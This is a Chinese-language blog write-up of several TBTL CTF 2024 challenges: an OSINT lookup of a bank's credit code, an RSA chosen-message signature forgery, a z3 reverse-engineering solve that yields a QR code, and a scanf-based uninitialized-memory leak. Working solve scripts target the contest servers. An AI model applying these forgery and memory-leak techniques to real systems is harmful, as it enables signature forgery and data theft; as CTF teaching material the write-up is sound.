抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

前言

在 discord 上认识了一群来自世界各地的 ctfer,不过大家都不是什么老赛棍,just ctf for fun!
有人在频道里提议参加TBTL CTF 2024,然后就组了个队。比赛时间2天,实际上没什么时间打,做了几个方向的新手友好题。不过队里有个哥们 web 方向 3/4,最后队伍排名36。

最终排名

Tower of Babel

这是一道简单的社工题。

mp3 文件里有这道题的提示:

该标志的格式如常,我们的合作伙伴云海连锁控股有限公司总部位于海南岛海口附近。找到距离他们的办事处最近的银行。标志内的内容是该银行的统一社会信用代码。代码已以91开始,以56结束。

首先搜这家公司,可以通过这个网站找到其地址,打开高德地图搜索“云海链8831栋”可以找到该公司位置,然后再搜周边——银行,可以看到最近的银行是海南澄迈农村商业银行股份有限公司科技支行。

然后我们搜索其社会信用代码,得到91469027MA5TRBAW56

因此 flag 为 TBTL{91469027MA5TRBAW56}

Wikipedia Signatures

这是一道非常简单的数字签名攻击题目。我们的目标是获取bytes_to_long(b'I challenge you to sign this message!')的数字签名。同时,我们可以提供任何消息给签名者进行数字签名,因此很容易想到这是 RSA 数字签名中的选择消息攻击

我们假设m = bytes_to_long(b'I challenge you to sign this message!') ,我们的目标是获取其数字签名:

$$ s = m^{d};mod;n$$

  • 首先,我们让签名者为任意选择的消息 m1 进行签名(这里我选用m1 = bytes_to_long(b'BeaCox')),获取对应的签名:

    $$s_1=m_{1}^{d};mod;n$$

  • 然后,我们计算

    $$m_2:=m⋅m_{1}^{−1};mod;n$$

    并让签名者为其签名,得到

    $$s_2=m_2^d;mod;n$$​

  • 由于

    $$s≡s1⋅s2≡m_1^d⋅m_2^d≡m_1^d⋅(m⋅m_1^{-1})^d≡m_1^d⋅m^d⋅m_1^{-d}≡m^d;(mod;n)$$

    我们很容易得到

    $$s=s1⋅s2;mod;n$$

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# https://crypto.stackexchange.com/questions/35644/chosen-message-attack-rsa-signature
from pwn import *
from Crypto.Util.number import inverse, bytes_to_long

p = remote('0.cloud.chals.io', 31148)

def find_m2(m, n, m1):
m1_inv = inverse(m1, n)
m2 = (m * m1_inv) % n
return m2

def get_n():
p.recvuntil(b"RSA public key: (")
n = p.recvuntil(b",", drop=True)
p.recvuntil(b'Sign any other message using wikipedia-RSA')
return int(n)

def menu():
p.recvuntil(b'> ')

def sign(message):
menu()
p.sendline(f'2 {message}'.encode())
return int(p.recvline().strip())

def win(signature):
menu()
p.sendline(f'1 {signature}'.encode())

m = bytes_to_long(b'I challenge you to sign this message!')
n = get_n()
m1 = bytes_to_long(b'BeaCox')
m2 = find_m2(m, n, m1)

s1 = sign(m1)
s2 = sign(m2)
signature = (s1 * s2) % n
win(signature)
p.interactive()
# TBTL{r3p347_4f73r_m3-d16174l_516n47ur3_15_n07_3ncryp710n}

Floo Powder

这是一道简单的逆向题。从 ida 获取静态的数组,然后根据反编译的代码写 z3 的约束,编写 python 脚本来得到正确的输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# input is 31*31 bit(0 or 1) string
from pwn import *
from z3 import *

data = [
0x04CA4952, 0x69745A2A, 0x434A2A90, 0x36D0A9C7, 0x1002DAC8,
0x04933AEB, 0x71A29525, 0x6DA8D531, 0x69259680, 0x2179213C,
0x5D8A6097, 0x6ACA2822, 0x5495ED02, 0x255A2CD5, 0x16B5625A,
0x2E8A8ABA, 0x2D6F5EB4, 0x557CD952, 0x2CB4E495, 0x020D29B9,
0x0E8B2854, 0x4646C159, 0x47749281, 0x54229D46, 0x6C1CD620,
0x07F80EFF, 0x04AD46A4, 0x32EBC04E, 0x4FAC1623, 0x600E1F04,
0x24CD3000
]

# z3 init the input
input = [BitVec(f"input{i}", 1) for i in range(31*31)]
s = Solver()

def important_func(o_i, i_i, count):
# print(f"index1: {index1}, index2: {index2}")
# ( (input[31 * o_i + i_i] == 49) == (((data[count / 31] >> (31 - count % 31 - 1)) & 1) != 0) )
s.add((input[31 * o_i + i_i] == 1) == (((data[count // 31] >> (31 - count % 31 - 1)) & 1) != 0))

outside_index = 0
inside_index = 0
count = 0
v9 = 1

while (outside_index < 31 and inside_index < 31):
important_func(outside_index, inside_index, count)
count += 1
if v9 == 1:
v10 = outside_index - 1
v11 = inside_index + 1
else:
v10 = outside_index + 1
v11 = inside_index - 1

if v10 < 0 or v10 == 31 or v11 < 0 or v11 == 31:
if v9 == 1:
outside_index += inside_index == 30
inside_index += inside_index < 30
else:
inside_index += outside_index == 30
outside_index += outside_index < 30
v9 = 1 - v9
else:
outside_index = v10
inside_index = v11

flag = ""
if s.check() == sat:
m = s.model()
for i in range(31*31):
flag += str(m[input[i]])
print(flag)

我们会得到一个 31*31 的由0和1组成的矩阵:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0000000000000000000000000000000
0111111100100011010010011111110
0100000101101100111100010000010
0101110100111001100001010111010
0101110101101010111100010111010
0101110100010110000001010111010
0100000101010011100001010000010
0111111101010101010101011111110
0000000000000100110111000000000
0111110111110110001011101010100
0001001010100010010001111111100
0101000110101111111101001100000
0100110011111000100100100110100
0001010101101010101111001011000
0000011001110110011001000101000
0111000100100011101001010111000
0111110001010100010000011110110
0100101111000111000000000110100
0101101000100011011011101110100
0100011100011101101001111011000
0101100011011001100001101010100
0100100100111000110001111101000
0000000001010110000111000101000
0111111101100011110011010100000
0100000100000110010101000100000
0101110101000101101101111111110
0101110101000000010011101110110
0101110101111100100111011100100
0100000101101001110010101000100
0111111101111000111110011111000
0000000000000000000000000000000

可以看到这个矩阵的周围一圈都是0,如果把周围这一圈0都去掉,那么就是一个29*29的矩阵。把0看成白色,1看成黑色,那么这个矩阵看起来就是一个29*29的第三代二维码,写脚本将01矩阵转换为二维码图片:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# convert to qrcode
from PIL import Image
MAX = 31
pic = Image.new("RGB",(MAX, MAX))
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(flag[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
# TBTL{Wh47_D1d_H3_5aY_D34r?_D14g0nal1y...}

扫描二维码就可以获得 flag 。

Enough with the averages

这是一道利用了scanf函数特性的pwn题。

这道题允许我们输入20个4字节长的整数,然后输出这20个整数的平均值。但是存储这些整数的内存区域含有先前读取的flag。

这个程序使用20个 __isoc99_scanf("%d", &v3[i]); 来读取我们的输入。如果我们输入了一个字符,那么从此以后的scanf都会直接返回-1,导致对应内存区域的4字节为原来的值,最终导致内存泄漏。

我的想法是:首先输入19个0,然后输入一个a,就可以得到目标内存区域的第20个4字节(data[19]);然后启动另一个程序,输入18个0,然后输入一个a,就可以得到data[18]+data[19],计算可得data[18],依次类推可以得到目标区域的所有20*4个字节。然后就可以重构出flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context.binary = binary = ELF('./chall')
context.log_level = 'critical'

# we need record 20 int numbers
numbers = [0] * 20
sum = 0

def input(number):
p.sendlineafter(b':', number)

def recv_average():
p.recvuntil(b'Average score is ')
byte_string = p.recvline().strip()[:-1]
return float(byte_string)

for i in range(16):
# p = binary.process()
p = remote('0.cloud.chals.io', 10198)

zeros = 19 - i
print(f'zeros: {zeros}')
# input zeros times of 0
for _ in range(zeros):
input(b'0')
input(b'a')
average_score = recv_average()
print(f'average_score: {average_score}')
tmp = sum
sum = average_score * 20
numbers[zeros] = int(sum - tmp)
if numbers[zeros] < 0:
numbers[zeros] = 0x100000000 + numbers[zeros]
print(f'numbers[{zeros}]: {hex(numbers[zeros])}')
p.close()

flag = b''

for i in range(4, 20):
char1 = numbers[i] & 0xff
char2 = (numbers[i] >> 8) & 0xff
char3 = (numbers[i] >> 16) & 0xff
char4 = (numbers[i] >> 24) & 0xff
flag += bytes([char1, char2, char3, char4])

print(flag)
# TBTL{e4t_Y0ur_vegG13s_1n1714l1z3_y0ur_d4rn_v4r14bl35}

总结

Fun!!! 感谢主办方,难度梯度做得很好。

评论